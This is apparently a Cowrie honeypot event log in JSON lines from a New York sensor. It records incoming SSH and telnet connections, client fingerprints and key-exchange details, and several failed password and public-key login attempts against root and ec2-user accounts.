{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:42.004542Z","src_ip":"31.40.204.166","session":"1ab9e6b3e00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:42.601905Z","src_ip":"31.40.204.166","session":"1ab9e6b3e00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37764,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb1c8612e61","protocol":"telnet","message":"New connection: 152.42.224.71:37764 (10.17.0.5:23) [session: feb1c8612e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:43.242218Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:43.798351Z","src_ip":"31.40.204.166","session":"1ab9e6b3e00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37776,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa87fe49cbfc","protocol":"telnet","message":"New connection: 152.42.224.71:37776 (10.17.0.5:23) [session: aa87fe49cbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:45.617197Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.147","src_port":17130,"dst_ip":"10.17.0.5","dst_port":22,"session":"43fbbed4d064","protocol":"ssh","message":"New connection: 176.65.131.147:17130 (10.17.0.5:22) [session: 43fbbed4d064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:47.917139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:47.921357Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.010551Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:3c:a6:e9:ca:44:7d:8e:3f:bc:20:78:fe:92:f4:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP+6SxLY22tVS/r+ioN1BpBMwfQzsq6y+Fib512wGS3R0gTjc/yhMLIOa/iG+Bnl0YVsZoc7XHHgVbsvFAUb0Ngw89sykrHnX8ROH4tOhL+DAVQxKRc3q26aoQRBp2492cGYo7S5ggKMb6+ZmOo2OMle1UvNurZi8AoPlFW0+eymGeZ0yUlJ0KhQvCQxihcYrV2WzY7vCSvKDcr9AEvFDajw7fpW8glhlLDs/c6Iw0ihUU4cmGmvnh/9dRQV+1Vwea1nvhdXQ6Iz+VETG0EzhhOSnoV6Un5wkbiDHNbSyBvpvlvGP1eOLMYjjf7hnD2ceqD8noV/EpXKQXR6nMIEv/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:3c:a6:e9:ca:44:7d:8e:3f:bc:20:78:fe:92:f4:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.437270Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:3c:a6:e9:ca:44:7d:8e:3f:bc:20:78:fe:92:f4:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP+6SxLY22tVS/r+ioN1BpBMwfQzsq6y+Fib512wGS3R0gTjc/yhMLIOa/iG+Bnl0YVsZoc7XHHgVbsvFAUb0Ngw89sykrHnX8ROH4tOhL+DAVQxKRc3q26aoQRBp2492cGYo7S5ggKMb6+ZmOo2OMle1UvNurZi8AoPlFW0+eymGeZ0yUlJ0KhQvCQxihcYrV2WzY7vCSvKDcr9AEvFDajw7fpW8glhlLDs/c6Iw0ihUU4cmGmvnh/9dRQV+1Vwea1nvhdXQ6Iz+VETG0EzhhOSnoV6Un5wkbiDHNbSyBvpvlvGP1eOLMYjjf7hnD2ceqD8noV/EpXKQXR6nMIEv/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.440968Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:b8:40:38:fa:9e:23:de:58:bb:9d:cd:23:8f:94:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUzbVagPk7OIQAJvKLjUN7aYwcfzvnH3zIgvb/sKoCjVuXYEO9fV3WOr8xBiRp5uzD6fO+haTORF6yqB3ZbELqWciaqw9cX/FXxY8W4DrtKi4Tsm8blLhYPWbri5OFkSb8nA829XNn/u2ltU1bEMTsprRlO+M3oDpAEdR2zJsiBLdoLeUsf7BwqDILJRA7rFM+7/SMFaRpGNjI3pCRRoRX0oCUqPiY/FKvLlU6V0kFVav24exZfynE9YBd4qPP9rZM6ZY3TWrgQnBU9F94Tl40cj3MJsTGC6eePnJdBUI6D+qu5HfbZoOl+UA4g2Fii6BCxoBQax0lFpOMvrRmRlsTKbigWSGOgHi586fn69COxhUbJQYUVWb69vkKljR4RccaxdAm/ANSXIfpDQG1giPge48siJhxEbjd7iEKYU0ay7/GrPkhOrPkAHFfUs/pPqiOuk21TRpiZq0rGgoTdaxJwRtIvLV+NZoyLEscDGrfsVb6qxyx0IuegdLcccJaD6M+5eSp+cew8mRi53w+6GtjkECUlE8EoykMaDFEqX36NxFjvjHcw05GlXBH8b3WeeL6ZADzi969GIW18OBNWswxVfjq2ZfOvxvEWCj3devNwn9Qv85pUh0vaLNn5y2TA1pYGHi3UA9mfUgZ8PYpvxYh3EdxYm4m8U9piPK3P9rgWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:b8:40:38:fa:9e:23:de:58:bb:9d:cd:23:8f:94:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.531380Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:b8:40:38:fa:9e:23:de:58:bb:9d:cd:23:8f:94:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUzbVagPk7OIQAJvKLjUN7aYwcfzvnH3zIgvb/sKoCjVuXYEO9fV3WOr8xBiRp5uzD6fO+haTORF6yqB3ZbELqWciaqw9cX/FXxY8W4DrtKi4Tsm8blLhYPWbri5OFkSb8nA829XNn/u2ltU1bEMTsprRlO+M3oDpAEdR2zJsiBLdoLeUsf7BwqDILJRA7rFM+7/SMFaRpGNjI3pCRRoRX0oCUqPiY/FKvLlU6V0kFVav24exZfynE9YBd4qPP9rZM6ZY3TWrgQnBU9F94Tl40cj3MJsTGC6eePnJdBUI6D+qu5HfbZoOl+UA4g2Fii6BCxoBQax0lFpOMvrRmRlsTKbigWSGOgHi586fn69COxhUbJQYUVWb69vkKljR4RccaxdAm/ANSXIfpDQG1giPge48siJhxEbjd7iEKYU0ay7/GrPkhOrPkAHFfUs/pPqiOuk21TRpiZq0rGgoTdaxJwRtIvLV+NZoyLEscDGrfsVb6qxyx0IuegdLcccJaD6M+5eSp+cew8mRi53w+6GtjkECUlE8EoykMaDFEqX36NxFjvjHcw05GlXBH8b3WeeL6ZADzi969GIW18OBNWswxVfjq2ZfOvxvEWCj3devNwn9Qv85pUh0vaLNn5y2TA1pYGHi3UA9mfUgZ8PYpvxYh3EdxYm4m8U9piPK3P9rgWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.535709Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:a4:aa:1f:26:0f:0d:da:ef:41:22:17:28:e9:1c:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB6esBfv9Uk17jJLXFwebRHr/yG7qUP1zAblL4xlhFhpaxpHbUAeBuk7fcVHSf/BX0WotHkEcI5bivXLbt2zLRjkRwCT0yQvvQAvIhvc1zDGHT8QYfIfA/gWTtJh3xtw82PCHYiswuvI6AM+b2noGRroEQGqW9bwQFWHEkEYbrD6ffI6wC85TNBZZLbP74pJAJsLXxuEU6VOOIVcg08F5lUOsRKfzPW6qFOsW57IDRrSArEYBbL6CNiOaHBYwco9tTf4quMMPLKRE+QTvKtYhYNoJ3/URtdIzC0L9g1nEpZyLm9IN2nLG5CyAOJaIGsEksMYhJJJrrYS6L/+tHvTVfCGRNDAbY1xbeAH6XHHvN80Phu0nFPiqYfFvF19SStP6+vrw3gRMZk53eympJrSkAZUOmIm2TN1+9XYl/FYLufBtlODgvEjEQXveCxrdHsAxxyhAZ2C1nafuGku273qFx5Gef5diZUnidvsdgjldeGrURTjoo4WBob0TG94urQ3SGzpNM7TbFtv/dM+wSm/vcFrt+rS4WUQzzpvk719Y9036Z3o5o95t3VxQc9PsFi18VX/HhWYiudQVjzP3Kt71u/56dJsBf/c3TqIDtHnRJVQwl1p2Un+Aqbgh0Ukg86fTcgES4AV4KCmtxdb1t2weMRF3ghfqK+FSK7r12b9Vrrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:a4:aa:1f:26:0f:0d:da:ef:41:22:17:28:e9:1c:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.627107Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:a4:aa:1f:26:0f:0d:da:ef:41:22:17:28:e9:1c:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB6esBfv9Uk17jJLXFwebRHr/yG7qUP1zAblL4xlhFhpaxpHbUAeBuk7fcVHSf/BX0WotHkEcI5bivXLbt2zLRjkRwCT0yQvvQAvIhvc1zDGHT8QYfIfA/gWTtJh3xtw82PCHYiswuvI6AM+b2noGRroEQGqW9bwQFWHEkEYbrD6ffI6wC85TNBZZLbP74pJAJsLXxuEU6VOOIVcg08F5lUOsRKfzPW6qFOsW57IDRrSArEYBbL6CNiOaHBYwco9tTf4quMMPLKRE+QTvKtYhYNoJ3/URtdIzC0L9g1nEpZyLm9IN2nLG5CyAOJaIGsEksMYhJJJrrYS6L/+tHvTVfCGRNDAbY1xbeAH6XHHvN80Phu0nFPiqYfFvF19SStP6+vrw3gRMZk53eympJrSkAZUOmIm2TN1+9XYl/FYLufBtlODgvEjEQXveCxrdHsAxxyhAZ2C1nafuGku273qFx5Gef5diZUnidvsdgjldeGrURTjoo4WBob0TG94urQ3SGzpNM7TbFtv/dM+wSm/vcFrt+rS4WUQzzpvk719Y9036Z3o5o95t3VxQc9PsFi18VX/HhWYiudQVjzP3Kt71u/56dJsBf/c3TqIDtHnRJVQwl1p2Un+Aqbgh0Ukg86fTcgES4AV4KCmtxdb1t2weMRF3ghfqK+FSK7r12b9Vrrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.631205Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:db:19:77:21:b8:eb:23:9c:4e:52:48:d5:cf:25:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Ka6py8Wb/tdjeplF0gauIwnJHnGZkWwbPpYpfk/wKGKEXZs4p1Rcgl8TB1PN6jaGJ+6cptFmIKknfwDCplikSMnPxgzpHWs2JsUN54UjgL/Tj7VuEDZOD5Ye1aarogxG336UVwOrigHIZUUHJFExaG/anzt76JYe1DKF5UMdSoD++5Oh1C2UKIENWMUkwiOMDar6rgHaWijL3Na9yWh00uMhgOO7V7woVwqkn//pcdQohuBxoD5VmcZe9Nsx1C3TjxYIlzOytvf4quQEg2vbz3yut26Y0MA+BysTvXgYmp0X49rEUFniHDHeDG8Al++se187m+QuLVCuVUDBZpwPR1Fo82OKHUKVekFpOAEEkuPYjqYpw24aoxWw46rWw02aDgVvkagL3no2xqHOHx7AJ+mevFhiBF3fHc4WTR7c7d/wVJTec8mt+wabPqDCiGiCZkjFJTHzmy6UYKUZzbRXH91xWCSQIiqJqIUD10KVsQgKqRwR0LOfBK7q20aFNvU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:db:19:77:21:b8:eb:23:9c:4e:52:48:d5:cf:25:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.723065Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:db:19:77:21:b8:eb:23:9c:4e:52:48:d5:cf:25:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Ka6py8Wb/tdjeplF0gauIwnJHnGZkWwbPpYpfk/wKGKEXZs4p1Rcgl8TB1PN6jaGJ+6cptFmIKknfwDCplikSMnPxgzpHWs2JsUN54UjgL/Tj7VuEDZOD5Ye1aarogxG336UVwOrigHIZUUHJFExaG/anzt76JYe1DKF5UMdSoD++5Oh1C2UKIENWMUkwiOMDar6rgHaWijL3Na9yWh00uMhgOO7V7woVwqkn//pcdQohuBxoD5VmcZe9Nsx1C3TjxYIlzOytvf4quQEg2vbz3yut26Y0MA+BysTvXgYmp0X49rEUFniHDHeDG8Al++se187m+QuLVCuVUDBZpwPR1Fo82OKHUKVekFpOAEEkuPYjqYpw24aoxWw46rWw02aDgVvkagL3no2xqHOHx7AJ+mevFhiBF3fHc4WTR7c7d/wVJTec8mt+wabPqDCiGiCZkjFJTHzmy6UYKUZzbRXH91xWCSQIiqJqIUD10KVsQgKqRwR0LOfBK7q20aFNvU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.726380Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.55738425254822,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.731145Z","src_ip":"152.42.224.71","session":"0cbd10f2aa95","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:82:c6:63:35:21:96:ca:e1:ab:5a:57:b5:3d:5c:1b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBKg4FY6en9XU72P+VrCuyPZhHrpZRis6xG+7Ia3Tye9","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b2:82:c6:63:35:21:96:ca:e1:ab:5a:57:b5:3d:5c:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.816397Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:82:c6:63:35:21:96:ca:e1:ab:5a:57:b5:3d:5c:1b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBKg4FY6en9XU72P+VrCuyPZhHrpZRis6xG+7Ia3Tye9","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.820337Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:48.910838Z","src_ip":"176.65.131.147","session":"43fbbed4d064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00204539299011,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:49.333335Z","src_ip":"152.42.224.71","session":"819300324412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49786,"dst_ip":"159.203.135.109","dst_port":22,"session":"71b38119722e","protocol":"ssh","message":"New connection: 31.40.204.166:49786 (159.203.135.109:22) [session: 71b38119722e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:53.380073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:53.384629Z","src_ip":"31.40.204.166","session":"71b38119722e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:53.692314Z","src_ip":"31.40.204.166","session":"71b38119722e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.541863679885864,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:53.717683Z","src_ip":"152.42.224.71","session":"144cd92fce70","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:54.183315Z","src_ip":"31.40.204.166","session":"71b38119722e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"e400058df773","protocol":"telnet","message":"New connection: 152.42.224.71:39500 (10.17.0.5:23) [session: e400058df773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:54.345320Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:55.318716Z","src_ip":"31.40.204.166","session":"71b38119722e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36346,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad04bbb51531","protocol":"ssh","message":"New connection: 87.251.79.125:36346 (10.17.0.5:22) [session: ad04bbb51531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:58.807161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:58.811750Z","src_ip":"87.251.79.125","session":"ad04bbb51531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:58.887339Z","src_ip":"87.251.79.125","session":"ad04bbb51531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000q","message":"login attempt [root/000000q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:59.107937Z","src_ip":"87.251.79.125","session":"ad04bbb51531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.74647879600525,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:59.318150Z","src_ip":"152.42.224.71","session":"8100cd9544c3","protocol":"telnet"}
